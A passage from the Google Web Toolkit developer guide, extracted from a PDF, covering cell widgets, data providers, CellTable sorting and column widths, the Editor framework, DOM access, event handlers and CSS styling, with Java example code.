/** * Example of using a {@link ProvidesKey}. */ public class KeyProviderExample implements EntryPoint { // A simple data type that represents a contact. private static class Contact { private static int nextId = 0; private final int id; private String name; public Contact(String name) { nextId++; this.id = nextId; this.name = name; } } // A custom Cell used to render a Contact. private static class ContactCell extends AbstractCell { @Override public void render(Contact value, Object key, SafeHtmlBuilder sb) { if (value != null) { sb.appendEscaped(value.name); } } } // The list of data to display. private static final List CONTACTS = Arrays.asList(new Contact( "John"), new Contact("Joe"), new Contact("Michael"), new Contact("Sarah"), new Contact("George")); public void onModuleLoad() { // Define a key provider for a Contact. We use the unique ID as the key, // which allows to maintain selection even if the name changes. ProvidesKey keyProvider = new ProvidesKey() { public Object getKey(Contact item) { // Always do a null check. return (item == null) ? null : item.id; } }; // Create a CellList using the keyProvider. CellList cellList = new CellList(new ContactCell(), keyProvider); // Push data into the CellList. cellList.setRowCount(CONTACTS.size(), true); cellList.setRowData(0, CONTACTS); // Add a selection model using the same keyProvider. SelectionModel selectionModel = new SingleSelectionModel( keyProvider); cellList.setSelectionModel(selectionModel); // Select a contact. The selectionModel will select based on the ID because // we used a keyProvider. Contact sarah = CONTACTS.get(3); selectionModel.setSelected(sarah, true); // Modify the name of the contact. sarah.name = "Sara"; // Redraw the CellList. Sarah/Sara will still be selected because we // identify her by ID. If we did not use a keyProvider, Sara would not be // selected. cellList.redraw(); // Add the widgets to the root panel. RootPanel.get().add(cellList); } }
that is backed by a java.util.List, which is useful if your data lives entirely on the client side. If your data lives on a server, you can extend the abstract class AsyncDataProvider, which you can override to connect to an asynchronous data source, such as a database running on a server. Alternatively, you can create a custom data source by handling RangeChangeEvents directly. If you are writing your own presenter logic to control a Cell widget, you might find it easier to write your own data source instead of using a data provider.
ListDataProvider
ListDataProvider binds your cell widget to a java.util.List. Any changes to the internal list, which can be accessed via getList(), will be reflected in the views. The views are updated at the end of the current event block, so you can make multiple synchronous changes without causing multiple refreshes of the views. Code Example - The example below updates the view through a ListDataProvider.
/** * Entry point classes define <code>onModuleLoad()</code>. */ public class CellListExample implements EntryPoint { // The list of data to display. private static final List<String> DAYS = Arrays.asList("Sunday", "Monday", "Tuesday", "Wednesday", "Thursday", "Friday", "Saturday"); public void onModuleLoad() { // Create a cell to render each value in the list. TextCell textCell = new TextCell(); // Create a CellList that uses the cell. CellList<String> cellList = new CellList<String>(textCell); // Set the range to display. In this case, our visible range is smaller than // the data set. cellList.setVisibleRange(1, 3); // Create a data provider. ListDataProvider<String> dataProvider = new ListDataProvider<String>(); // Connect the list to the data provider. dataProvider.addDataDisplay(cellList); // Add the data to the data provider, which automatically pushes it to the // widget. Our data provider will have seven values, but it will only push // the four that are in range to the list. List<String> list = dataProvider.getList(); for (String day : DAYS) { list.add(day); } // Add it to the root panel. RootPanel.get().add(cellList);
} }
AsyncDataProvider
AsyncListDataProvider binds your cell widget to an asynchronous data source. When the cell widget requests new data, the AsyncDataProvider fetches the new data and pushes it to the widget. Just implement the onRangeChanged() method and request the data in the new Range for the specified cell widget. When the data is returned, call updateRowCount() and/or updateRowData() to push the data to the widgets. Basic Recipe: 1. Create a subclass of AsyncDataProvider. 2. Implement onRangeChanged(HasData). a. Get the current range from the display b. Request the data from the server or data source 3. When the data is returned, call updateRowData() to push the data to the widgets. Code Example - The example below updates the view through a AsyncDataProvider.
237 / 469
/** * Entry point classes define <code>onModuleLoad()</code>. */ public class CellListExample implements EntryPoint { // The list of data to display. private static final List<String> DAYS = Arrays.asList("Sunday", "Monday", "Tuesday", "Wednesday", "Thursday", "Friday", "Saturday"); public void onModuleLoad() { // Create a cell to render each value in the list. TextCell textCell = new TextCell(); // Create a CellList that uses the cell. final CellList<String> cellList = new CellList<String>(textCell); // Set the total row count. You might send an RPC request to determine the // total row count. cellList.setRowCount(DAYS.size(), true); // Set the range to display. In this case, our visible range is smaller than // the data set. cellList.setVisibleRange(1, 3); // Create a data provider. AsyncDataProvider<String> dataProvider = new AsyncDataProvider<String>() { @Override protected void onRangeChanged(HasData<String> display) { final Range range = display.getVisibleRange(); // This timer is here to illustrate the asynchronous nature of this data // provider. In practice, you would use an asynchronous RPC call to // request data in the specified range. new Timer() { @Override public void run() { int start = range.getStart(); int end = start + range.getLength(); List<String> dataInRange = DAYS.subList(start, end); // Push the data back into the list. cellList.setRowData(start, dataInRange); } }.schedule(2000); } }; // Connect the list to the data provider. dataProvider.addDataDisplay(cellList); // Add it to the root panel. RootPanel.get().add(cellList); } }
238 / 469
/** * Example of using a {@link RangeChangeEvent.Handler} to push data into a * {@link CellList} when the range changes. */ public class RangeChangeHandlerExample implements EntryPoint { @Override public void onModuleLoad() { // Create a CellList. final CellList cellList = new CellList(new TextCell()); // Add a range change handler. cellList.addRangeChangeHandler(new RangeChangeEvent.Handler() { @Override public void onRangeChange(RangeChangeEvent event) { Range range = event.getNewRange(); int start = range.getStart(); int length = range.getLength(); // Create the data to push into the view. At this point, you could send // an asynchronous RPC request to a server. List data = new ArrayList(); for (int i = start; i < start + length; i++) { data.add("Item " + i); } // Push the data into the list. cellList.setRowData(start, data); } }); // Force the cellList to fire an initial range change event. cellList.setVisibleRangeAndClearData(new Range(0, 25), true); // Create paging controls. SimplePager pager = new SimplePager(); pager.setDisplay(cellList); // Add the widgets to the root panel. VerticalPanel vPanel = new VerticalPanel(); vPanel.add(pager); vPanel.add(cellList); RootPanel.get().add(vPanel); } }
239 / 469
/** * Example of {@link SimplePager}. */ public class SimplePagerExample implements EntryPoint { public void onModuleLoad() { // Create a CellList. CellList<String> cellList = new CellList<String>(new TextCell()); // Add a cellList to a data provider. ListDataProvider<String> dataProvider = new ListDataProvider<String>(); List<String> data = dataProvider.getList(); for (int i = 0; i < 200; i++) { data.add("Item " + i); } dataProvider.addDataDisplay(cellList); // Create a SimplePager. SimplePager pager = new SimplePager(); // Set the cellList as the display. pager.setDisplay(cellList); // Add the pager and list to the page. VerticalPanel vPanel = new VerticalPanel(); vPanel.add(pager); vPanel.add(cellList); RootPanel.get().add(vPanel); } }
To Add Custom Paging Controls to a Cell Widget: 1. Create a custom pager extending AbstractPager works for most use cases. AbstractPager provides many convenience methods that your pager will use to change the visible range, including a method to hook up the cell widget. a. AbstractPager is a Composite, so you need to define the Widget part of the pager and initialize AbstractPager by calling initWidget(Widget). b. You also need to override onRangeOrRowCountChanged() to update the widget when the visible range changes for any reason. 2. Assign the pager to the cell widget you want to control using setDisplay(HasRows) 3. Add the custom pager to a panel.
240 / 469
/** * Example of using a {@link ValueUpdater} with a {@link CellList}. */ public class CellListValueUpdaterExample implements EntryPoint { /** * The list of data to display. */ private static final List<String> DAYS = Arrays.asList("Sunday", "Monday", "Tuesday", "Wednesday", "Thursday", "Friday", "Saturday"); public void onModuleLoad() { // Create a cell that will interact with a value updater. TextInputCell inputCell = new TextInputCell(); // Create a CellList that uses the cell. CellList<String> cellList = new CellList<String>(inputCell); // Create a value updater that will be called when the value in a cell changes. ValueUpdater<String> valueUpdater = new ValueUpdater<String>() { public void update(String newValue) { Window.alert("You typed: " + newValue); } }; // Add the value updater to the cellList. cellList.setValueUpdater(valueUpdater); // Set the total row count. This isn't strictly necessary, but it affects // paging calculations, so its good habit to keep the row count up to date. cellList.setRowCount(DAYS.size(), true); // Push the data into the widget. cellList.setRowData(0, DAYS); // Add it to the root panel. RootPanel.get().add(cellList); } }
241 / 469
/** * The key provider that allows us to identify Contacts even if a field * changes. We identify contacts by their unique ID. */ private static final ProvidesKey KEY_PROVIDER = new ProvidesKey() { @Override public Object getKey(Contact item) { return item.id; } }; @Override public void onModuleLoad() { // Create a CellTable with a key provider. final CellTable table = new CellTable(KEY_PROVIDER); // Add a text input column to edit the name. final TextInputCell nameCell = new TextInputCell(); Column nameColumn = new Column(nameCell) { @Override public String getValue(Contact object) { // Return the name as the value of this column. return object.name; } }; table.addColumn(nameColumn, "Name"); // Add a field updater to be notified when the user enters a new name. nameColumn.setFieldUpdater(new FieldUpdater() { @Override public void update(int index, Contact object, String value) { // Inform the user of the change. Window.alert("You changed the name of " + object.name + " to " + value); // Push the changes into the Contact. At this point, you could send an // asynchronous request to the server to update the database. object.name = value; // Redraw the table with the new data. table.redraw(); } }); // Push the data into the widget. table.setRowData(CONTACTS); // Add it to the root panel. RootPanel.get().add(table); } }
4.4.6.
A cell table (data presentation table) provides high-performance rendering of large data sets in a tabular view. You can check out the Cell Table example in the GWT Showcase to see it in action. This developer guide will walk you through some advanced features specific to CellTable, such as column sorting. If you are not familiar with the cell widgets, you should read the Cell Widgets Developer Guide before continuing. 1. Column Sorting 2. Controlling Column Widths
4.4.6.1.
Column Sorting
CellTable has built-in support for column sorting. Use Column.setSortable(boolean) to make a column sortable. Users will then be able to click on the column header and trigger a ColumnSortEvent. How you handle the event depends on how you push data into your CellTable.
/** * Entry point classes define <code>onModuleLoad()</code>. */ public class CellTableExample implements EntryPoint { // A simple data type that represents a contact. private static class Contact { private final String address; private final String name; public Contact(String name, String address) { this.name = name; this.address = address; } } // The list of data to display. private static List<Contact> CONTACTS = Arrays.asList(new Contact("John", "123 Fourth Road"), new Contact("Mary", "222 Lancer Lane"), new Contact( "Zander", "94 Road Street")); public void onModuleLoad() { // Create a CellTable. CellTable<Contact> table = new CellTable<Contact>(); // Create name column. TextColumn<Contact> nameColumn = new TextColumn<Contact>() { @Override public String getValue(Contact contact) { return contact.name; } }; // Make the name column sortable. nameColumn.setSortable(true); // Create address column. TextColumn<Contact> addressColumn = new TextColumn<Contact>() { @Override public String getValue(Contact contact) { return contact.address; } }; // Add the columns. table.addColumn(nameColumn, "Name"); table.addColumn(addressColumn, "Address"); // Create a data provider. ListDataProvider<Contact> dataProvider = new ListDataProvider<Contact>(); // Connect the table to the data provider. dataProvider.addDataDisplay(table); // Add the data to the data provider, which automatically pushes it to the // widget. List<Contact> list = dataProvider.getList(); for (Contact contact : CONTACTS) { list.add(contact); } // Add a ColumnSortEvent.ListHandler to connect sorting to the // java.util.List. ListHandler<Contact> columnSortHandler = new ListHandler<Tester.Contact>( list); columnSortHandler.setComparator(nameColumn, new Comparator<Tester.Contact>() { public int compare(Contact o1, Contact o2) { if (o1 == o2) { return 0; } // Compare the name columns. if (o1 != null) { return (o2 != null) ? o1.name.compareTo(o2.name) : 1; } return -1; } }); table.addColumnSortHandler(columnSortHandler); // We know that the data is sorted alphabetically by default. table.getColumnSortList().push(nameColumn); // Add it to the root panel. RootPanel.get().add(table); } }
243 / 469
244 / 469
return 0; } // Compare the name columns. int diff = -1; if (o1 != null) { diff = (o2 != null) ? o1.name.compareTo(o2.name) : 1; } return sortList.get(0).isAscending() ? diff : -diff; } }); List<Contact> dataInRange = CONTACTS.subList(start, end); // Push the data back into the list. table.setRowData(start, dataInRange);
} }
} }; // Connect the list to the data provider. dataProvider.addDataDisplay(table); // Add a ColumnSortEvent.AsyncHandler to connect sorting to the // AsyncDataPRrovider. AsyncHandler columnSortHandler = new AsyncHandler(table); table.addColumnSortHandler(columnSortHandler); // We know that the data is sorted alphabetically by default. table.getColumnSortList().push(nameColumn); // Add it to the root panel. RootPanel.get().add(table);
} }.schedule(2000);
4.4.6.2.
By default, columns in a CellTable expand to fit the contents of the Cells. This works fine for a static table, but if the content changes due to paging or user interaction, the columns might change width and appear jumpy. CellTable provides an API that gives you fine grain control of how the available width is distributed between columns. In order to gain fine-grain control over the width of columns, you must set the table layout to "fixed" by passing true into CellTable.setWidth(String, boolean). Once in fixed-width mode, tables behave differently than they normally would. The following sections describe recipes for achieving various effects. Code Example - The example below creates a CellTable with fixed-width columns that expand to fill the available space.
/** * Entry point classes define <code>onModuleLoad()</code>. */ public class Tester implements EntryPoint { // A simple data type that represents a contact. private static class Contact { private final String address; private final String name; public Contact(String name, String address) { this.name = name; this.address = address; } } // The list of data to display. private static List<Contact> CONTACTS = Arrays.asList(new Contact("John", "123 Fourth Road"), new Contact("Mary", "222 Lancer Lane")); public void onModuleLoad() { // Create a CellTable. CellTable<Contact> table = new CellTable<Contact>(); // Create name column. TextColumn<Contact> nameColumn = new TextColumn<Contact>() { @Override public String getValue(Contact contact) { return contact.name; } }; // Create address column.
245 / 469
} }
TextColumn<Contact> addressColumn = new TextColumn<Contact>() { @Override public String getValue(Contact contact) { return contact.address; } }; // Add the columns. table.addColumn(nameColumn, "Name"); table.addColumn(addressColumn, "Address"); // Set the width of the table and put the table in fixed width mode. table.setWidth("100%", true); // Set the width of each column. table.setColumnWidth(nameColumn, 35.0, Unit.PCT); table.setColumnWidth(addressColumn, 65.0, Unit.PCT); // Set the total row count. This isn't strictly necessary, but it affects // paging calculations, so its good habit to keep the row count up to date. table.setRowCount(CONTACTS.size(), true); // Push the data into the widget. table.setRowData(0, CONTACTS); // Add it to the root panel. RootPanel.get().add(table);
table.setWidth("auto", true); table.setColumnWidth(col0, 100.0, table.setColumnWidth(col1, 150.0, table.setColumnWidth(col2, 250.0, table.setColumnWidth(col3, 100.0,
table.setWidth("100%", true); table.setColumnWidth(col0, 10.0, table.setColumnWidth(col1, 25.0, table.setColumnWidth(col2, 25.0, table.setColumnWidth(col3, 40.0,
WARNING: The width of the columns specified in percentages should add up to 100%. If they do not, then columns specified in pixels will also resize with the table in an unpredictable way.
table.setWidth("100%", true); table.setColumnWidth(checkboxCol, 10.0, Unit.PX); table.setColumnWidth(nameCol, 35.0, Unit.PCT); table.setColumnWidth(descriptionCol, 65.0, Unit.PCT);
4.4.7.
Editors (2.1)
Data binding for bean-like objects The GWT Editor framework allows data stored in an object graph to be mapped onto a graph of Editors. The typical scenario is wiring objects returned from an RPC mechanism into a UI. 1. 2. 3. 4. 5. 6. 7. Goals Quickstart Definitions General workflow Editor contract Editor delegates Editor subtypes 1. LeafValueEditor 2. HasEditorDelegate 3. ValueAwareEditor 4. CompositeEditor 5. HasEditorErrors 8. Provided Adapters 9. Driver types 10. FAQ 1. Editor vs. IsEditor 2. Read-only Editors 3. Very large objects
Goals
Decrease the amount of glue code necessary to move data from an object graph into a UI and back. Be compatible with any object that looks like a bean, regardless of its implementation mechanism (POJO, JSO, RPC, RequestFactory). Support arbitrary composition of Editors. For post-GWT 2.1 release, establish the following trajectories: Create an API that can be used by UiBinder Support client-side JSR 303 Validation when it's available
Quickstart
Import the com.google.gwt.editor.Editor module in your gwt.xml file.
// Regular POJO, no special types needed public class Person { Address getAddress(); Person getManager(); String getName(); void setManager(Person manager); void setName(String name); }
247 / 469
// Sub-editors are retrieved from package-protected fields, usually initialized with UiBinder. // Many Editors have no interesting logic in them public class PersonEditor extends Dialog implements Editor<Person> { // Many GWT Widgets are already compatible with the Editor framework Label nameEditor; // Building Editors is usually just composition work AddressEditor addressEditor; ManagerSelector managerEditor; public PersonEditor() { // Instantiate my widgets, usually through UiBinder } } // A simple demonstration of the overall wiring public class EditPersonWorkflow{ // Empty interface declaration, similar to UiBinder interface Driver extends SimpleBeanEditorDriver<Person, PersonEditor> {} // Create the Driver Driver driver = GWT.create(Driver.class); void edit(Person p) { // PersonEditor is a DialogBox that extends Editor<Person> PersonEditor editor = new PersonEditor(); // Initialize the driver with the top-level editor driver.initialize(editor); // Copy the data in the object into the UI driver.edit(p); // Put the UI on the screen. editor.center(); } // Called by some UI action void save() { Person edited = driver.flush(); if (driver.hasErrors()) { // A sub-editor reported errors } doSomethingWithEditedPerson(edited); }
Definitions
Bean-like object: (henceforth "bean") An object that supports retrieval of properties through strongly-typed Foo getFoo() methods with optional void setFoo(Foo foo); methods. Editor: An object that supports editing zero or more properties of a bean. An Editor may be composed of an arbitrary number of sub-Editors that edit the properties of a bean. Most Editors are Widgets, but the framework does not require this. It is possible to create "headless" Editors that perform solely programmatically-driven changes.
Driver: The "top-level" controller used to attach a bean to an Editor. The driver is responsible for descending into the Editor hierarchy to propagate data. Examples include the SimpleBeanEditorDriver and the RequestFactoryEditorDriver. Adapter: One of a number of provided types that provide "canned" behaviors for the Editor framework.
General workflow
Instantiate and initialize the Editors. If the Editors are UI based, this is usually the time to call UiBinder.createAndBindUi() Drivers are created through a call to GWT.create() and the specific details of the initialization are driver-dependent, although passing in the editor instance is common. Because the driver is stateful, driver instances must be paired with editor hierarchy instances. Instantiate and initialize the driver.
Start the editing process by passing the bean into the driver.
248 / 469
Allow the user to interact with the UI. Call the flush() method on the driver to copy Editor state into the bean hierarchy. Optionally check hasErrors() and getErrors() to determine if there are client-side input validation problems.
Editor contract
The basic Editor type is simply a parameterized marker interface that indicates that a type conforms to the editor contract or informal protocol. The only expected behavior of an Editor is that it will provide access to its sub-Editors via one or more of the following mechanisms: An instance field with at least package visibility whose name exactly the property that will be edited or propertyNameEditor. For example:
class MyEditor implements Editor<Foo> { // Edits the Foo.getBar() property BarEditor bar; // Edits the Foo.getBaz() property BazEditor bazEditor; }
A no-arg method with at least package visibility whose name exactly is the property that will be edited or propertyNameEditor. This allows the use of interfaces for defining the Editor hierarchy. For example:
interface FooEditor extends Editor<Foo> { // Edits the Foo.getBar() property BarEditor bar(); // Edits the Foo.getBaz() property BazEditor bazEditor(); }
The @Path annotation may be used on the field or accessor method to specify a dotted property path or to bypass the implicit naming convention. For example:
class PersonEditor implements Editor<Person> { // Corresponds to person.getManager().getName() @Path("manager.name"); Label managerName; }
The @Ignored annotation may be used on a field or accessor method to make the Editor framework ignore something that otherwise appears to be a sub-Editor. Sub-Editors may be null. In this case, the Editor framework will ignore these sub-editors.
Where the type Editor<T> is used, the type IsEditor<Editor<T>> may be substituted. The IsEditor interface allows composition of existing Editor behavior without the need to implement N-many delegate methods in the composed Editor type. For example, most leaf GWT Widget types implement IsEditor and are immediately useful in an Editorbased UI. By implementing IsEditor, the Widgets need only implement the single asEditor() method, which isolates the Widgets from any API changes that may occur in the component Editor logic.
Editor delegates
Every Editor has a peer EditorDelegate that provides framework-related services to the Editor. getPath() returns the current path of the Editor within an attached Editor hierarchy. recordError() allows an Editor to report input validation errors to its parent Editors and eventually to the driver. Arbitrary data can be attached to the generated EditorError by using the userData parameter. subscribe() can be used to receive notifications of external updates to the object being edited. Not all drivers may support subscription. In this case, the call to subscribe() may return null.
249 / 469
Editor subtypes
In addition to the Editor interface, the Editor framework looks for these specific interfaces to provide basic building blocks for more complicated Editor behaviors. This section will document these interfaces and provide examples of how the Editor framework will interact with the API at runtime. All of these core Editor sub-interface can be mixed at will.
LeafValueEditor
LeafValueEditor is used for non-object, immutable, or any type that the Editor framework should not descend into. 1. setValue() is called with the value that should be edited (e.g. fooEditor.setValue(bean.getFoo());). 2. getValue() is called when the Driver is flushing the state of the Editors into the bean. The value returned from this method will be assigned to the bean being edited (e.g. bean.setFoo(fooEditor.getValue());).
HasEditorDelegate
HasEditorDelegate provides an Editor with its peer EditorDelegate. 1. setEditorDelegate() is called before any value initialization takes place.
ValueAwareEditor
ValueAwareEditor may be used if an Editor's behavior depends on the value that it is editing, or if the Editor requires explicit flush notification. 1. setEditorDelegate() is called, per HasEditorDelegate super-interface. 2. setValue() is called with the value that the Editor is responsible for editing. If the value will affect with subeditors are or are not provided to the framework, they should be initialized or nullified at this time. 3. If EditorDelegate.subscribe() has been called, the Editor may receive subsequent calls to onPropertyChange() or setValue() at any point in time. 4. flush() is called in a depth-first manner by the driver, so Editors generally do not flush their sub-Editors. Editors that directly mutate their peer object should do so only when flush() is called in order to allow an edit workflow to be canceled.
CompositeEditor
CompositeEditor allows an unknown number of homogenous sub-Editors to be added to the Editor hierarchy at runtime. In addition to the behavior described for ValueAwareEditor, CompositeEditor has the following additional APIs: 1. createEditorForTraversal() should return a canonical sub-editor instance that will be used by the driver for computing all edited paths. If the composite editor is editing a Collection, this method solves the problem of having no sub-Editors available to examine for an empty Collection. 2. setEditorChain() provides the CompositeEditor with access to the EditorChain, which allows the component sub-Editors to be attached and detached from the Editor hierarchy. 3. getPathElement() is called by the Editor framework for each attached component sub-Editor in order to compute the return value for EditorDelegate.getPath(). A CompositeEditor that is editing an indexable datastructure, such as a List, might return [index] for this method.
HasEditorErrors
HasEditorErrors indicates that the Editor wishes to receive any unconsumed errors reported by sub-Editors through EditorDelegate.recordError(). The Editor may mark an EditorError as consumed by calling EditorError.setConsumed().
Provided Adapters
The GWT distribution provides the following Editor adapter classes that provide reusable logic. To reduce the amount of generics boilerplate, most types are equipped with a static of() method to instantiate the adapter type. HasDataEditor adapts a List<T> to a HasData<T>. 250 / 469
HasTextEditor adapts the HasText interface to LeafValueEditor<String>. New widgets should prefer TakesValue<String> over HasText. The ListEditor is created with a user-provided EditorSource which vends sub-Editors (usually Widget subtypes). Changes made to the structure of the List returned by ListEditor.getList() will be reflected in calls made to the EditorSource. Sample code. ListEditor keeps a List<T> in sync with a list of sub-Editors.
OptionalFieldEditor can be used with nullable or resettable bean properties. SimpleEditor can be used as a headless property Editor TakesValueEditor adapts a TakesValue<T> to a LeafValueEditor<T> ValueBoxEditor adapts a ValueBoxBase<T> to a LeafValueEditor<T>. If the getValueOrThrow() method throws a ParseException, the exception will reported via an EditorError. ValueBoxEditorDecorator is a simple UI decorator that combines a ValueBoxBase with a Label to show any parse errors from the contained ValueBoxBase.
Driver types
The GWT Editor framework provides the following top-level drivers: SimpleBeanEditorDriver can be used with any bean-like object. It does not provide support for update subscriptions. RequestFactoryEditorDriver is designed to integrate with RequestFactory and edit EntityProxy subtypes. This driver type requires a RequestContext in order to automatically RequestContext.edit() on any EntityProxy instances that are encountered. call
Subscriptions are supported by listening for EntityProxyChange events on the RequestFactory's EventBus.
FAQ
Editor vs. IsEditor
Q: Should my Widget implement an Editor interface or IsEditor? A: If the Widget contains multiple sub-Editors is a simple, static hierarchy, use the Editor interface. The IsEditor interface is intended to be used when a view type is reusing an Editor behavior provided by an external type. For instance, a LabelDecorator type would implement IsEditor because it re-uses its Label's existing Editor behavior:
class LabelDecorator extends Composite implements IsEditor<LeafValueEditor<String>> { private final Label wrapped = new Label(); public LabelDecorator() { // Construct a pretty UI around the wrapped label initWidget(prettyContents); } public LeafValueEditor<String> asEditor() { return wrapped.asEditor(); } }
251 / 469
Read-only Editors
Q: Can I use Editors to view read-only data? A: Yes, just don't call the flush() method on the driver type. RequestFactoryEditorDriver has a convenience display() method as well.
Whether or not these editors are displayed all at the same time or sequentially is a user experience issue. The Editor framework allows multiple Editors to edit the same object:
class HasBagOfStateEditor implements Editor<HasBagOfState> { @Editor.Path("state") BagOfStateBiographicalEditor bio; @Editor.Path("state") BagOfStateUserPreferencesEditor prefs; }
4.4.8.
Browsers provide an interface to examine and manipulate the on-screen elements using the DOM (Document Object Model). Traditionally, JavaScript programmers use the DOM to program the user interface portion of their logic, and traditionally, they have had to account for the many differences in the implementation of the DOM on different browsers. So that you don't have to worry (generally) about cross-browser support when implementing user interfaces, GWT provides a set of widget and panel classes that wrap up this functionality. But sometimes you need to access the DOM. For example, if you want to: provide a feature in your user interface that GWT does not support write a new Widget class access an HTML element defined directly in the host page handle browser Events at a low level perform some filtering or other processing on an HTML document loaded into the browser
GWT provides the classes in the DOM package for interacting with the DOM directly. These classes provide staticallytyped interfaces for interacting with DOM objects, as well as a degree of cross-browser abstraction.
4.4.8.2.
Each widget and panel has an underlying DOM element that you can access with the getElement() method. You can use the getElement() method to get the underlying element from the DOM.
252 / 469
The following example shows how to set a style attribute to change a widget's background color.
private HTML htmlWidget; // Other code to instantiate the widget... // Change the description background color. htmlWidget.getElement().getStyle().setBackgroundColor("#ffee80"); Here, the getElement() method derived from the Widget superclass returns a DOM Element object representing a node in the DOM tree structure and adds a style attribute to it.
This is an example where using the DOM isn't absolutely necessary. An alternative approach is to use style sheets and associate different style classes to the widget using the setStylePrimaryName() or setStyleName() method instead.
4.4.8.3.
The following example shows how to combine a JSNI method with Java code to manipulate the DOM. First, we have a JSNI routine that will retrieve all the child elements that are Anchor tags. The element objects are assigned a unique ID for easy access from Java:
/** * Find all child elements that are anchor tags, * assign a unique id to them, and return a list of * the unique ids to the caller. */ private native void putElementLinkIDsInList(Element elt, ArrayList<String> list) /*-{ var links = elt.getElementsByTagName("a"); for (var i = 0; i < links.length; i++ ) { var link = links.item(i); link.id = ("uid-a-" + i); list.@java.util.ArrayList::add(Ljava/lang/Object;) (link.id); } }-*/;
And what could you possibly do with a DOM element once you have found it? This code iterates through all the anchor tags returned from the above method and then rewrites where it points to:
/** * Find all anchor tags and if any point outside the site, * redirect them to a "blocked" page. */ private void rewriteLinksIterative() { ArrayList<String> links = new ArrayList<String>(); putElementLinkIDsInList(this.getElement(), links); for (int i = 0; i < links.size(); i++) { Element elt = Document.get().getElementById(links.get(i)); rewriteLink(elt, "www.example.com"); } } /** * Block all accesses out of the website that don't match 'sitename' * @param element An anchor link element * @param sitename name of the website to check. e.g. "www.example.com" */ private void rewriteLink(Element element, sitename) { String href = element.getPropertyString("href"); if (null == href) { return; } // We want to re-write absolute URLs that go outside of this site if (href.startsWith("http://") && !href.startsWith("http://"+sitename+"/") { element.setPropertyString("href", "http://"+sitename+"/Blocked.html"); } }
The JSNI method sets an ID on each element which we then used as an argument to Document.getElementById(id) to fetch the Element in Java.
253 / 469
4.4.8.4.
GWT contains an Event class as a typed interface to the native DOM Event. This example shows how to use the DOM methods to catch a keyboard event for particular elements and handle them before the event gets dispatched:
private ArrayList<Element> keyboardEventReceivers = new ArrayList<Element>(); /** * Widgets can register their DOM element object if they would like to be a * trigger to intercept keyboard events */ public void registerForKeyboardEvents(Element e) { this.keyboardEventReceivers.add(e); } /** * Returns true if this is one of the keys we are interested in */ public boolean isInterestingKeycode(int keycode) { // ... return false; } /** * Setup the event preview class when the module is loaded. */ private void setupKeyboardShortcuts() { // Define an inner class to handle the event Event.addNativePreviewHandler(new NativePreviewHandler() { public void onPreviewNativeEvent(NativePreviewEvent preview) { NativeEvent event = preview.getNativeEvent(); Element elt = event.getEventTarget().cast(); int keycode = event.getKeyCode(); boolean ctrl = event.getCtrlKey(); boolean shift = event.getShiftKey(); boolean alt = event.getAltKey(); boolean meta = event.getMetaKey(); if (event.getType().equalsIgnoreCase("keypress") || ctrl || shift || alt || meta || keyboardEventReceivers.contains(elt) || !isInterestingKeycode(keycode)) { // Tell the event handler to continue processing this event. return; } GWT.log("Processing Keycode" + keycode, null); handleKeycode(keycode); // Tell the event handler that this event has been consumed preview.consume(); } }); } /** * Perform the keycode specific processing */ private void handleKeycode(int keycode) { switch (keycode) { // ... } }
4.4.9.
Event Handlers
Events in GWT use the handler model similar to other user interface frameworks. A handler interface defines one or more methods that the widget calls to announce an event. A class wishing to receive events of a particular type implements the associated handler interface and then passes a reference to itself to the widget to subscribe to a set of events. The Button class, for example, publishes click events. The associated handler interface is ClickHandler. The following example demonstrates how to add a custom ClickHandler subclass to an instance of a Button:
254 / 469
public void anonClickHandlerExample() { Button b = new Button("Click Me"); b.addClickHandler(new ClickHandler() { public void onClick(ClickEvent event) { // handle the click event } }); }
Using anonymous inner classes as in the above example can use excessive memory for a large number of widgets, since it results in the creation of many handler objects. Instead of creating separate instances of the ClickHandler object for each widget that needs to be listened to, a single handler can be shared between many widgets. Widgets declare themselves as the source of an event when they invoke a handler method, allowing a single handler to distinguish between multiple event publishers with an event object's getSource() method. This makes better use of memory but requires slightly more code, as shown in the following example:
public class HandlerExample extends Composite implements ClickHandler { private FlowPanel fp = new FlowPanel(); private Button b1 = new Button("Button 1"); private Button b2 = new Button("Button 2"); public HandlerExample() { initWidget(fp); fp.add(b1); fp.add(b2); b1.addClickHandler(this); b2.addClickHandler(this); } public void onClick(ClickEvent event) { // note that in general, events can have sources that are not Widgets. Widget sender = (Widget) event.getSource(); if (sender == b1) { // handle b1 being clicked } else if (sender == b2) { // handle b2 being clicked } } }
4.4.10.
Like most web applications, GWT applications use cascading style sheets (CSS) for visual styling. Styling Existing Widgets Complex Styles Associating CSS Files GWT Visual Themes Documentation
All of the widgets created with the GWT toolkit will have a default class name, but a widget's style name can be set using setStyleName(). Static elements can have their class set in the HTML source code for your application. Another way to use style sheets is to refer to a single widget. For that, you would need to know the value of the id attribute for the widget or DOM element.
255 / 469
By default, neither the browser nor GWT creates default id attributes for widgets. You must explicitly create an id for the elements you want to refer to in this manner, and you must insure that each "id" value is unique. A common way to do this is to set them on static elements in your HTML host page
<div id="my-button-id"/>
To set the id for a GWT widget, retrieve its DOM Element and then set the id attribute as follows:
Button b = new Button(); DOM.setElementAttribute(b.getElement(), "id", "my-button-id")
This would allow you to reference a specific widget in a style sheet as follows:
#my-button-id { font-size: 100%; }
Complex Styles
Some widgets have multiple styles associated with them. MenuBar, for example, has the following styles:
.gwt-MenuBar { /* properties applying to the menu bar itself */ } .gwt-MenuBar .gwt-MenuItem { /* properties applying to the menu bar's menu items */ } .gwt-MenuBar .gwt-MenuItem-selected { /* properties applying to the menu bar's selected menu items */ }
In the above style sheet code, there are two style rules that apply to menu items. The first applies to all menu items (both selected and unselected), while the second (with the -selected suffix) applies only to selected menu items. A selected menu item's style name will be set to "gwt-MenuItem gwt-MenuItem-selected", specifying that both style rules will be applied. The most common way of doing this is to use setStyleName to set the base style name, then addStyleName() and removeStyleName() to add and remove the second style name.
Modern GWT applications typically use a combination of CssResource and UiBinder. Older applications should use only one of the first two choices.
256 / 469
with the mdoule XML file approach, the style sheet will always follow your module, no matter which host HTML page you deploy it from. Why does this matter? Because if you create and share a module, it does not include a host page and therefore, you cannot guarantee the style sheet's availability. Automatic Resource Inclusion solves this problem. If you do not care about sharing or re-using your module then you can just use the standard HTML link rel stuff in the host page. Tip: Use a unique name for the .css file with included resources to avoid collisions. If you automatically include "styles.css" and share your module and someone puts it on a page that already has "styles.css" there will be problems.
GWT visual themes also come in RTL (right-to-left) versions if you are designing a website for a language that is written right-to-left, such as Arabic. You can include the RTL version by adding RTL to the end of the module name:
<inherits name="com.google.gwt.user.theme.dark.DarkRTL"/>
